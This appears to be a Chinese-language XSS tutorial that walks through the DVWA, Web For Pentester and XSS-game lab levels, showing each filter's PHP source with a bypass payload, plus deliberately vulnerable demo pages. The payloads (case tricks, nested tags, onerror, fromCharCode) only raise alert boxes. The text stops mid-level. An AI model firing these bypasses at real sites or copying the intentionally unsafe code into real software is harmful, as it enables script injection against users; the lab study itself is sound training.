XSS 简介
XSS 攻击指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取、会话劫持、钓鱼欺骗等各攻击。
XSS 跨站脚本攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当受害者在 Web 浏览器中打开该 URL 的时侯,恶意脚本会在受害者的计算机上悄悄执行。
XSS 跨站脚本攻击漏洞也是 OWASP Top 10 中经常出现的对象,造成 XSS 漏洞普遍流行的原因如下:
-
Web 浏览器本身的设计不安全,无法判断 JS 代码是否是恶意的
-
输入与输出的 Web 应用程序基本交互防护不够
-
程序员缺乏安全意识,缺少对 XSS 漏洞的认知
XSS 触发简单,完全防御起来相当困难
XSS 跨站脚本实例
下面的 HTML 代码就演示了一个最基本的 XSS 弹窗:
<html>
<head>XSS</head>
<body>
<script>alert("XSS")</script>
</body>
</html>
-
直接在 HTML 页面通过
<script>
标签来执行了 JavaScript 内置的alert()
函数,达到弹出消息框弹窗的效果:XSS 攻击就是将非法的 JavaScript 代码注入到用户浏览的网页上执行,而 Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码本身是否对用户有害。
XSS 的危害
诚然,XSS 可能不如 SQL 注射、文件上传等能够直接得到较高操作权限的漏洞,但是它的运用十分灵活(这使它成为最深受黑客喜爱的攻击技术之一),只要开拓思维,适当结合其他技术一起运用,XSS 的威力还是很大的。可能会给网站和用户带来的危害简单概括如下:
下图是著名漏洞公告平台乌云关于 XSS 漏洞的报告:
XSS 分类
反射型 XSS(非持久型)
反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也就是说,黑客往往需要诱使用户 “点击” 一个恶意链接,才能攻击成功。
假设一个页面把用户输入的参数直接输出到页面上:
$input = $_GET['param'];
echo "<h1>".$input."</h1>";
用户向
param
提交的数据会展示到<h1>
的标签中展示出来,比如提交:
http://127.0.0.1/test.php?param=Hello XSS
会得到如下结果:
此时查看页面源代码,可以看到:
<h1>Hello XSS</h1>
此时如果提交一个 JavaScript 代码:
http://127.0.0.1/test.php?param=<script>alert(233)</script>
会发现,alert(233)
在当前页面执行了:
再查看源代码:
<h1><script>alert(233)</script></h1>
用户输入的 Script 脚本,已经被写入页面中,这个就是一个最经典的反射型 XSS,它的特点是只在用户浏览时触发,而且只执行一次,非持久化,所以称为反射型 XSS。反射型 XSS 的危害往往不如持久型 XSS,因为恶意代码暴露在 URL 参数中,并且时刻要求目标用户浏览方可触发,稍微有点安全意识的用户可以轻易看穿该链接是不可信任的。如此一来,反射型 XSS 的攻击成本要比持久型 XSS 高得多,不过随着技术的发展,我们可以将包含漏洞的链接通过短网址缩短或者转换为二维码等形式灵活运用。
存储 XSS (持久型)
存储型 XSS 和反射型 XSS 的差别仅在于:提交的 XSS 代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交 XSS 代码。最典型的例子是留言板 XSS。
为了复现存储型 XSS,这里我们得用到数据库,本地新建一个名字叫做 xss
的数据库,里面新建一个 message
表,用来存放用户的留言信息,字段名分别是 id
、username
、message
id
设为主键,并勾选自动递增 ,也可以参考下面的 sql
语句来设计表:
SQL
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0
DROP TABLE IF EXISTS `message`;
CREATE TABLE `message` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`message` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 17 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
SET FOREIGN_KEY_CHECKS = 1;
目前数据库方面设计完了,开始着手写 PHP
后端页面,来复现一下存储型 XSS 漏洞:
<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "root"; //数据库用户名
$pwd = "root"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>
<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>
<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}
/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>
将以上代码保存为 php
文件,配置好数据库连接信息,通过 http 服务去访问,可以得到如下界面:
可以从代码看出,逻辑很简单,用户前端留言,就可以看到自己的留言信息了,代码中没有任何过滤,直接将用户的输入的语句插入到了 html
网页中,这样就很容易导致存储型 XSS
漏洞的产生。
当攻击者直接在留言板块插入 alert('鸡你太美')
,会导致这条恶意的语句直接插入到了数据库中,然后通过网页解析,成功触发了 JS 语句,导致用户浏览这个网页就会一直弹窗,除非从数据库中删除这条语句:
此时查看下网页源码:
<b>用户名:</b>TEST安全 <b>留言内容:</b><script>alert('TEST安全')</script><br>
存储型 XSS 的攻击是最隐蔽的也是危害比较大的,普通用户所看的 URL 为 http://127.0.0.1/test.php
,从 URL 上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有 XSS 代码,就当做正常的 HTML 与 JS 解析执行,于是就触发了 XSS 攻击。
DOM XSS
通过修改页面的 DOM 节点形成的 XSS,称之为 DOM XSS。它和反射型 XSS、存储型 XSS 的差别在于,DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。
下面编写一个简单的含有 DOM XSS 漏洞的 HTML 代码:
<meta charset="UTF-8">
<script>
function xss(){
var str = document.getElementById("src").value;
document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
}
</script>
<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>
功能很简单,用户输入框插入图片地址后,页面会将图片插入在 id="demo"
的 div 标签中,从而显示在网页上:
同样,这里也没有对用户的输入进入过滤,当攻击者构造如下语句插入的时候:
' onerror=alert(233)
会直接在 img
标签中插入 onerror
事件,该语句表示当图片加载出错的时候,自动触发后面的 alert () 函数,来达到弹窗的效果,这就是一个最简单的 DOM 型 XSS 漏洞。
XSS 靶场
本节主要是搭建一些靶场,因为大家都是搞信息安全的,所以靶场搭建的话我这里就不重复造轮子,通过搜索引擎可以找到很多图文并茂的教程,所以本节里面只做概括的作用。
Web For Pentester
官网:https://pentesterlab.com/
下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法:通过虚拟机挂载 iso 运行,该靶场环境是封装在 debian
系统里面的,运行在时候直接以 Live
方式运行,然后查看下 IP 地址:
然后物理机浏览器直接访问:
http://192.168.108.131/
这样一个 Web For Pentester
就搭建好了,默认是没有 root
密码的,可以自己设置一个 root
密码:
sudo passwd
第 1 关 无任何过滤
源码
<?php
echo $_GET["name"];
?>
name 变量直接通过 GET 方式传进去,然后通过 echo 输出。
payload
example1.php?name=<script>alert('XSS')</script>
第 2 关 大小写绕过
源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/</script>/","", $name);
echo $name;
?>
使用了 preg_replace 函数来过滤 <script>
和 </script>
标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。
payload
example2.php?name=<Script>alert('XSS')</scripT>
第 3 关 嵌套绕过
源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/</script>/i","", $name);
echo $name;
?>
这里在第 2 关的基础上面,正则规则上面使用了 /i
,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:
<scr<script>ipt>
被检测到 <script>
后,替换为了空(即删掉)就变成了一个完整的标签:
<script>
payload
example3.php?name=<sc<script>ript>alert('XSS')</</script>script>
第 4 关 其他标签绕过
源码
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
对 script 关键词进行了不区分大小写地过滤,匹配到就直接调用 die("error")
终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发 JS 事件。
payload
example4.php?name=<img src=x onerror=alert('XSS')>
第 5 关 编码或者其他方法绕过
源码
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗
payload1
example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>
也可以通过 String.fromCharCode()
编码来绕过,使用 Hackbar 可以很方便地进行编码
alert('XSS')
经过 String.fromCharCode () 编码为:
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)
payload2
example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>
第 6 关 闭合双引号
源码
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
通过 GET 方式传入的 name 变量,直接输出在了 script
标签里面,可以尝试闭合前面的双引号 "
,然后直接调用 alert
方法来弹窗,末尾再使用双引号 "
闭合后面的双引号。
payload1
example6.php?name=";alert('XSS');"
也可以尝试通过 //
直接注释掉后面的双引号 "
,这样就不用考虑闭合了:
payload2
example6.php?name=";alert('XSS');//
第 7 关 闭合单引号
源码
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
和上一题类似,只是这里的最后是通过 htmlentities()
函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()
会将双引号 "
特殊编码,但是却它不编码单引号'
,恰巧这里是通过单引号'
给 a 变量赋值的,所以依然可以通过闭合单引号'
来弹窗。
payload
JAVASCRIPT
example7.php?name=';alert('XSS');'
example7.php?name=';alert('XSS');//
第 8 关 PHP_SELF
源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
name 变量通过 form 表单以 POST 方式传入,然后通过 htmlentities
函数是实体化后输出来,这次通过 POST 方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
用户依然可以控制参数 PHP_SELF ,并且这里没有过滤直接输入到了 form
标签中,所以这里通过闭合依然可以 XSS。
闭合引号和标签,通过 <script>
标签来弹窗:
payload1
JAVASCRIPT
example8.php/"><script>alert('XSS')</script>//
也可以通过闭合引号,通过事件来触发弹窗:
payload2
JAVASCRIPT
example8.php/" onclick=alert('XSS')//
第 9 关 location.hash
源码
PHP
<script>
document.write(location.hash.substring(1));
</script>
直接通过 location.hash
传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性,往网页中写入 JS 代码。要了解这个 location.hash
属性,可以参考 W3C 的这篇资料:HTML DOM hash 属性
payload
example9.php#<script>alert('XSS')</script>
执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在
IE
内核的浏览器上可以正常运行
DVWA
官网:http://www.dvwa.co.uk/
下载地址:https://github.com/ethicalhack3r/DVWA/archive/master.zip
安装方法:将 /config/config.inc.php.dist
文件重命名为 /config/config.inc.php
,本地新建一个名字叫做 dvwa
的数据库,根据本地实际环境的信息,修改配置文件信息如下:(填写 key 这里是可选的操作):
PHP代码:
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'root';
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
我本地使用的是 PHPStudy
搭建的环境,找到 PHP扩展及设置
- 参数开关设置
,勾选
VERILOG代码:
allow_url_fopen
allow_url_include
浏览器访问 DVWA
的目录来进行安装:
http://127.0.0.1/DVWA/setup.php
点击 Create / Reset Databas
创建数据库,接着跳转到登录界面。
默认的账户名为:admin,密码为:password
安装成功的界面如上,可以在左侧的菜单栏中发现有发射 XSS、存储 XSS 和 DOM XSS 的一些练习题。
反射 XSS LOW
源码
PHP代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看看到对 name
变量没有任何的过滤措施,只是单纯的检测了 name
变量存在并且不为空就直接输出到了网页中。
payload
<script>alert('XSS')</script>
反射 XSS Medium
源码
PHP代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
只是简单的过滤了 <script>
标签,可以使用其他的标签绕过,这里因为正则匹配的规则问题,检测到敏感字符就将替换为空(即删除),也可以使用嵌套构造和大小写转换来绕过。
使用其他的标签,通过事件来弹窗,这里有很多就不一一列举了:
payload1
JAVASCRIPT代码:
<img src=x onerror=alert('XSS')>
因为过滤规则的缺陷,这里可以使用嵌套构造来绕过:
payload2
JAVASCRIPT代码:
<s<script>cript>alert('XSS')</script>
因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过的:
payload3
JAVASCRIPT代码:
<Script>alert('XSS')</script>
反射 XSS high
源码
PHP代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
这里的正则过滤更加完善了些,不区分大小写,并且使用了通配符去匹配,导致嵌套构造的方法也不能成功,但是还有其他很多标签来达到弹窗的效果:
payload
JAVASCRIPT代码:
<img src=x onerror=alert('XSS')>
反射 XSS Impossible
源码
PHP代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
name
变量通过 htmlspecialchars()
函数被 HTML 实体化后输出在了 <pre>
标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。
DOM XSS LOW
源码
MARKUP代码:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
DOM XSS 是通过修改页面的 DOM 节点形成的 XSS。首先通过选择语言后然后往页面中创建了新的 DOM 节点:
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
这里的 lang
变量通过 document.location.href
来获取到,并且没有任何过滤就直接 URL 解码后输出在了 option
标签中,以下 payload 在 Firefox Developer Edition 56.0b9
版本的浏览器测试成功
payload
JAVASCRIPT代码:
?default=English <script>alert('XSS')</script>
DOM XSS Medium
源码
PHP代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
对 default
变量进行了过滤,通过 stripos()
函数查找 <script
字符串在 default
变量值中第一次出现的位置(不区分大小写),如果匹配搭配的话手动通过 location
将 URL 后面的参数修正为 ?default=English
,同样这里可以通过其他的标签搭配事件来达到弹窗的效果。
闭合 </option>
和 </select>
,然后使用 img
标签通过事件来弹窗
payload1
JAVASCRIPT代码:
?default=English</option></select><img src=x onerror=alert('XSS')>
直接利用 input
的事件来弹窗
payload2
?default=English<input onclick=alert('XSS') />
DOM XSS high
源码
PHP代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
使用了白名单模式,如果 default
的值不为 French、English、German、Spanish 的话就重置 URL 为:?default=English
,这里只是对 default 的变量进行了过滤。
可以使用 &
连接另一个自定义变量来 Bypass
payload1
JAVASCRIPT
?default=English&a=</option></select><img src=x onerror=alert('XSS')>
?default=English&a=<input onclick=alert('XSS') />
也可以使用#
来 Bypass
payload2
JAVASCRIPT代码:
?default=English#</option></select><img src=x onerror=alert('XSS')>
?default=English#<input onclick=alert('XSS') />
DOM XSS Impossible
源码
PHP
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
Impossible
级别直接不对我们的输入参数进行 URL 解码了,这样会导致标签失效,从而无法 XSS
存储 XSS LOW
源码
PHP代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
payload
JAVASCRIPT代码:
Name: sqlsec
Message: <script>alert('XSS')</script>
可以看到我们的 payload 直接插入到了数据库中了:
测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这条记录。
补充
trim
语法
PHP代码:
trim(string,charlist)
细节
移除 string 字符两侧的预定义字符。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符 |
charlist
如果被省略,则移除以下所有字符:
符合 | 解释 |
---|---|
NULL | |
t | 制表符 |
n | 换行 |
x0B | 垂直制表符 |
r | 回车 |
空格 |
stripslashes
语法
PHP代码:
stripslashes(string)
细节
去除掉 string 字符的反斜杠 ,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
语法
PHP代码:
mysql_real_escape_string(string,connection)
细节
转义 SQL 语句中使用的字符串中的特殊字符。
参数 | 描述 |
---|---|
string | 必需。规定要转义的字符串。 |
connection | 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。 |
下列字符受影响:
以上这些函数都只是对数据库进行了防护,却没有考虑到对 XSS 进行过滤,所以依然可以正常的来 XSS
存储 XSS Medium
源码
PHP代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
payload1
JAVASCRIPT代码:
Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com
可以看到我们的 payload 直接插入到了数据库中了:
因为 name
过滤规则的缺陷,同样使用嵌套构造和大小写转换也是可以 Bypass 的:
paylaod2
JAVASCRIPT
Name: <Script>alert('XSS')</script>
Message: www.sqlsec.com
Name: <s<script>cript>alert('XSS')</script>
Message: www.sqlsec.com
测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这些记录。
补充
addslashes
语法
PHP
addslashes(string)
细节
返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
strip_tags
语法
PHP
strip_tags(string,allow)
细节
剥去字符串中的 HTML、XML 以及 PHP 的标签。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
allow | 可选。规定允许的标签。这些标签不会被删除。 |
htmlspecialchars
语法
PHP
htmlspecialchars(string,flags,character-set,double_encode)
细节
把预定义的字符转换为 HTML 实体。
预定义的字符是:
message
变量几乎把所有的 XSS 都给过滤了,但是 name
变量只是过滤了 <script>
标签而已,我们依然可以在 name
参数尝试使用其他的标签配合事件来触发弹窗。
name
的 input 输入文本框限制了长度:
MARKUP
<input name="txtName" size="30" maxlength="10" type="text">
审查元素手动将 maxlength
的值调大一点就可以了。
MARKUP
<input name="txtName" size="50" maxlength="50" type="text">
存储 XSS high
源码
PHP
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
message
变量依然是没有什么希望,重点分析下 name
变量,发现仅仅使用了如下规则来过滤,所以依然可以使用其他的标签来 Bypass:
JAVASCRIPT
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
payload
JAVASCRIPT
Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com
存储 XSS Impossible
源码
PHP
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
message
和 name
变量都进行了严格的过滤,而且还检测了用户的 token:
PHP
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
有效地防止了 CSRF 的攻击
XSS 小游戏
这个和 http://test.xss.tv 题目是一样的,忘记从哪里搞到源码的了,看了源码发现最后几道 Flash XSS 失效了,于是删了最后几道 Flash XSS 题目,然后把本地图片的引用都换了表情包,目前一共有 1-15 关。现在把这个源码放到了 Github 上面了:
项目地址:https://github.com/sqlsec/xssgame
安装方法:直接解压源码到 HTTP 服务的目录下,浏览器直接访问即可,无需配置数据库等信息
第 1 关 无任何过滤措施
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>
name 变量通过 GET 方式传入,直接带入到 <h2>
标签中,没有任何过滤。
payload
R
/level1.php?name=<script>alert('xss')</script>
第 2 关 闭合双引号
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
keyword 变量通过 GET 方式传入,赋值给 $str
变量,然后带入到 <h2>
标签中和 <input>
标签。标签经过了 htmlspecialchars($str)
编码,可以发现 input
标签没有任何过滤,所以尝试在 input
标签中闭合双引号 "
,来触发事件。
payload
JAVASCRIPT
" onclick=alert('XSS') //
第 3 关 闭合单引号
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
keyword 变量通过 GET 方式传入,赋值给 $str
变量,然后带入到 <h2>
标签中和 inpt
标签。因为 <h2>
标签经过了 htmlspecialchars($str)
编码,<input>
标签没有任何过滤,所以尝试在 input
标签中闭合单引号'
来触发事件。
payload
JAVASCRIPT
' onclick=alert('XSS') //
第 4 关 闭合双引号
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
在第 2 关的基础上,过滤了尖括号,但是直接在 input
标签中构造闭合双引号来构造事件来触发并用不到尖括号,所以第 2 关的 payload 依然适用。
payload
JAVASCRIPT
" onclick=alert('XSS') //
第 5 关 javascript 伪协议
源码
PHP
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
首先对 keyword 变量使用了 strtolower()
